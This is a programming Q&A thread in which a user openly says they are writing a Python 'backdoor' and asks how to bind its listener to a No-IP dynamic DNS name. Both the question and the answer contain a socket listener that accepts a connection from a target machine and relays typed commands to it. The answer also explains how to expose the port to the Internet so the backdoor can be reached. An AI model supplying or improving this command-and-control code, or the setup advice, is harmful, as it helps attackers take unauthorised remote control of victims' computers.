How to connect a python backdoor to No-IP DNS - python-3.x

Question

i'm programing a backdoor in python 3.9.1, My question is how can I connect it to my noip dns, when I use my private ip it works normally, but when I try to use the dns address it gives me an error, here is the code:
import socket
def connection():
global s
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('testtest123.ddns.net', 4445))
s.listen(1)
print("waiting...")
def accept_connections():
global target
target, ip_list = s.accept()
print("connection received from: " + str(ip_list[0]))
def commands():
while True:
command = input('command> ')
bit_encoded_command = str.encode(command)
if command == 'exit':
target.send(bit_encoded_command)
receive = target.recv(1024)
receive_decoded = bytes.decode(receive, "utf-8")
print(receive_decoded)
break
connection()
accept_connections()
commands()
s.close()
and the error is:
"OSError: [WinError 10049] The requested address is not valid in its context"

Answer 1

First of all, I recommend you not to use global variables.
As suggested by the error message, you cannot bind that address to your network interface. Use 0.0.0.0 instead and your program will handle all incoming requests.
You will then have to make sure that testtest123.ddns.net points to the machine running your code and that the port you specified is open (i.e. accessible by everyone on the Internet).
E.g.
import socket
def connection():
global s
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('0.0.0.0', 4445))
s.listen(1)
print("waiting...")
def accept_connections():
global target
target, ip_list = s.accept()
print("connection received from: " + str(ip_list[0]))
def commands():
while True:
command = input('command> ')
bit_encoded_command = str.encode(command)
if command == 'exit':
target.send(bit_encoded_command)
receive = target.recv(1024)
receive_decoded = bytes.decode(receive, "utf-8")
print(receive_decoded)
break
connection()
accept_connections()
commands()
s.close()